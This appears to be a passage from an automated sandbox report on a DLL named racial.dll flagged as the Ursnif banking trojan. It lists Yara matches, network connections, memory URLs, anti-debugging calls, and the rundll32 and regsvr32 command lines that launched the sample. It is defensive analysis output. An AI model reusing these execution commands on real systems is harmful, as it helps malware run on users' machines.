Source: {945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat.4.dr	String found in binary or memory: https://www.msn.com/de-ch/?ocid=iehp
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/?ocid=iehp&item=deferred_page%3a1&ignorejs=webcore%2fmodules%2fjsb
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/homepage/api/modules/fetch"
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/homepage/api/pdp/updatepdpdata"
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/coronareisen
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/regional
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/26-j%c3%a4hriger-mann-stirbt-nach-sturz-auf-vorpla
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/eye-tracking-bei-online-pr%c3%bcfungen-keiner-%c3%
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/k%c3%b6nnen-seil-oder-hochbahnen-z%c3%bcrichs-verk
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/mehr-sicherheit-und-weniger-versp%c3%a4tungen-im-f
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/wer-bekommt-im-kanton-z%c3%bcrich-pr%c3%a4mienverb
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/berufung-zum-professor-ohne-doktortitel/ar-AAKEMiw?ocid=hplocal
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/der-singende-snowboader/ar-AAKFmIQ?ocid=hplocalnews
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/gr%c3%bcne-fordern-regierung-soll-zeitungen-f%c3%b6rdern/ar-AAK
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/junger-mann-stirbt-nach-sturz-von-einer-mauer-bei-der-eth/ar-AA
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/walt-disney-sprach-ihn-an-und-pl%c3%b6tzlich-stand-sein-leben-k
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/sport/nachrichten/schweiz-unterliegt-deutschland-im-penaltyschiessen/ar-AA
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/sport?ocid=StripeOCID
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com?form=MY01O4&OCID=MY01O4
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_QuickNote&auth=1
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_TopMenu&auth=1&wdorigin=msn
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.ricardo.ch/?utm_source=msn&utm_medium=affiliate&utm_campaign=msn_mestripe_logo_d
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.ricardo.ch/?utm_source=msn&utm_medium=affiliate&utm_campaign=msn_shop_de&utm
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.skype.com/
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.skype.com/de
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.skype.com/de/download-skype
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.skype.com/go/onedrivepromo.download?cm_mmc=MSFT_2390_MSN-com
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.skyscanner.net/flights?associateid=API_B2B_19305_00001&vertical=custom&pageType=
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.skyscanner.net/g/referrals/v1/cars/home?associateid=API_B2B_19305_00002
Source: iab2Data[1].json.6.dr	String found in binary or memory: https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json
Source: iab2Data[1].json.6.dr	String found in binary or memory: https://www.stroeer.de/konvergenz-konzepte/daten-technologien/stroeer-ssp/datenschutz-ssp.html
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.sway.com/?WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topnav&utm_campaign=link;PowerPoin

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown	HTTPS traffic detected: 104.20.184.68:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.184.68:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.7:49733 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000003.461266850.0000000002CF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.464658480.0000000001300000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.460926541.00000000023C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.462329890.0000000002FD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.3.regsvr32.exe.2cf8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.23c8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.6d6b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2fd8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.1308d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6d6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.6d6b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6d6b0000.0.unpack, type: UNPACKEDPE

Source: loaddll32.exe, 00000000.00000002.496311115.000000000159B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000003.461266850.0000000002CF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.464658480.0000000001300000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.460926541.00000000023C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.462329890.0000000002FD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.3.regsvr32.exe.2cf8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.23c8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.6d6b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2fd8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.1308d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6d6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.6d6b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6d6b0000.0.unpack, type: UNPACKEDPE

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6B2485 NtQueryVirtualMemory,		0_2_6D6B2485
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6B2485 NtQueryVirtualMemory,		3_2_6D6B2485

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6B2264	0_2_6D6B2264
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6F5250	0_2_6D6F5250
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D705DE1	0_2_6D705DE1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D705CC1	0_2_6D705CC1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D707675	0_2_6D707675
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6FD840	0_2_6D6FD840
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6F5250	2_2_6D6F5250
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D705DE1	2_2_6D705DE1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D705CC1	2_2_6D705CC1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D707675	2_2_6D707675
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6FD840	2_2_6D6FD840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6B2264	3_2_6D6B2264
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6F5250	3_2_6D6F5250
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D705DE1	3_2_6D705DE1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D705CC1	3_2_6D705CC1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D707675	3_2_6D707675
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6FD840	3_2_6D6FD840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D6F5250	5_2_6D6F5250
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D705DE1	5_2_6D705DE1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D705CC1	5_2_6D705CC1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D707675	5_2_6D707675
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D6FD840	5_2_6D6FD840

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6D6F7990 appears 37 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6D6F7990 appears 37 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6D6F7990 appears 74 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6D700930 appears 36 times

Source: racial.dll

Binary or memory string: OriginalFilenameRoad.dll8 vs racial.dll

Source: C:\Windows\SysWOW64\regsvr32.exe

Section loaded: sfc.dll

Jump to behavior

Source: racial.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: racial.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal72.troj.winDLL@13/124@10/3

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{945187EB-C4D0-11EB-90E6-ECF4BB82F7E0}.dat

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user~1\AppData\Local\Temp\~DF7209158F6E36A060.TMP

Jump to behavior

Source: racial.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1

Source: racial.dll	Virustotal: Detection: 20%
Source: racial.dll	ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\racial.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\racial.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\racial.dll,DllRegisterServer
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1752 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\racial.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\racial.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1752 CREDAT:17410 /prefetch:2	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: racial.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: racial.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: racial.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: racial.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: racial.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: racial.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: racial.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: racial.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: racial.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: racial.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: racial.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: racial.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: racial.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D6B1F31 LoadLibraryA,GetProcAddress,

0_2_6D6B1F31

Source: racial.dll

Static PE information: real checksum: 0x86142 should be: 0x8300e

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\racial.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6B2253 push ecx; ret	0_2_6D6B2263
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6B2200 push ecx; ret	0_2_6D6B2209
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6BE541 push ebx; ret	0_2_6D6BE542
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6C0483 pushad ; ret	0_2_6D6C0497
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6C17A4 push esp; ret	0_2_6D6C17A5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6C06D9 push ebp; retf	0_2_6D6C06EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6C0681 push edi; ret	0_2_6D6C0682
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6C016F push esp; iretd	0_2_6D6C01ED
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6BE18A push esp; ret	0_2_6D6BE18B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6BF039 push ebx; retf	0_2_6D6BF08E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6C1AED pushad ; ret	0_2_6D6C1AF9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6BE541 push ebx; ret	2_2_6D6BE542
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6C0483 pushad ; ret	2_2_6D6C0497
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6C17A4 push esp; ret	2_2_6D6C17A5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6C06D9 push ebp; retf	2_2_6D6C06EC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6C0681 push edi; ret	2_2_6D6C0682
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6C016F push esp; iretd	2_2_6D6C01ED
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6BE18A push esp; ret	2_2_6D6BE18B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6BF039 push ebx; retf	2_2_6D6BF08E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6C1AED pushad ; ret	2_2_6D6C1AF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6B2253 push ecx; ret	3_2_6D6B2263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6B2200 push ecx; ret	3_2_6D6B2209
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6BE541 push ebx; ret	3_2_6D6BE542
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6C0483 pushad ; ret	3_2_6D6C0497
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6C17A4 push esp; ret	3_2_6D6C17A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6C06D9 push ebp; retf	3_2_6D6C06EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6C0681 push edi; ret	3_2_6D6C0682
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6C016F push esp; iretd	3_2_6D6C01ED
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6BE18A push esp; ret	3_2_6D6BE18B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6BF039 push ebx; retf	3_2_6D6BF08E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6C1AED pushad ; ret	3_2_6D6C1AF9

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000003.461266850.0000000002CF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.464658480.0000000001300000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.460926541.00000000023C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.462329890.0000000002FD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.3.regsvr32.exe.2cf8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.23c8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.6d6b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2fd8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.1308d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6d6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.6d6b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6d6b0000.0.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D700D7A FindFirstFileExW,	0_2_6D700D7A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D700D7A FindFirstFileExW,	2_2_6D700D7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D700D7A FindFirstFileExW,	3_2_6D700D7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D700D7A FindFirstFileExW,	5_2_6D700D7A

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D6FA5EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6D6FA5EE

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D6B1F31 LoadLibraryA,GetProcAddress,

0_2_6D6B1F31

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D700947 mov eax, dword ptr fs:[00000030h]	0_2_6D700947
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6FC28B mov eax, dword ptr fs:[00000030h]	0_2_6D6FC28B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D7323C3 mov eax, dword ptr fs:[00000030h]	0_2_6D7323C3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D731F00 push dword ptr fs:[00000030h]	0_2_6D731F00
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D7322F9 mov eax, dword ptr fs:[00000030h]	0_2_6D7322F9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D700947 mov eax, dword ptr fs:[00000030h]	2_2_6D700947
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6FC28B mov eax, dword ptr fs:[00000030h]	2_2_6D6FC28B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D7323C3 mov eax, dword ptr fs:[00000030h]	2_2_6D7323C3
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D731F00 push dword ptr fs:[00000030h]	2_2_6D731F00
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D7322F9 mov eax, dword ptr fs:[00000030h]	2_2_6D7322F9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D700947 mov eax, dword ptr fs:[00000030h]	3_2_6D700947
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6FC28B mov eax, dword ptr fs:[00000030h]	3_2_6D6FC28B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D7323C3 mov eax, dword ptr fs:[00000030h]	3_2_6D7323C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D731F00 push dword ptr fs:[00000030h]	3_2_6D731F00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D7322F9 mov eax, dword ptr fs:[00000030h]	3_2_6D7322F9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D700947 mov eax, dword ptr fs:[00000030h]	5_2_6D700947
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D6FC28B mov eax, dword ptr fs:[00000030h]	5_2_6D6FC28B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D7323C3 mov eax, dword ptr fs:[00000030h]	5_2_6D7323C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D731F00 push dword ptr fs:[00000030h]	5_2_6D731F00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D7322F9 mov eax, dword ptr fs:[00000030h]	5_2_6D7322F9

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6FA5EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6D6FA5EE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6F79EB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6D6F79EB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D6F7869 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6D6F7869
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6FA5EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6D6FA5EE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6F79EB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6D6F79EB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6D6F7869 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6D6F7869
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6FA5EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6D6FA5EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6F79EB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6D6F79EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6D6F7869 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6D6F7869
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D6FA5EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_6D6FA5EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D6F79EB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_6D6F79EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D6F7869 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_6D6F7869

Source: C:\Windows\SysWOW64\cmd.exe

